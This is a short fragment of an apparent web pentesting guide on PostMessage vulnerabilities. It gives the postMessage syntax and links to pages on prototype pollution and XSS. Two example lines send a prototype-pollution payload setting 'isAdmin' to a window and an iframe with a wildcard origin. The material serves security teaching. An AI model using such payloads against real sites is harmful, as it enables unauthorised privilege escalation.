# PostMessage Vulnerabilities ## PostMessage Vulnerabilities
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## Send **PostMessage** **PostMessage** uses the following function to send a message: ```bash targetWindow.postMessage(message, targetOrigin, [transfer]); # postMessage to current page window.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe with id "idframe" document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe via onload ``` For **more information**: * Link to page about [**prototype pollution**](/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md) * Link to page about [**XSS**](/dashboard/pentesting-web/xss-cross-site-scripting.md) * Link to page about [**client side prototype pollution to XSS**](/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss) ## References * * * To practice:
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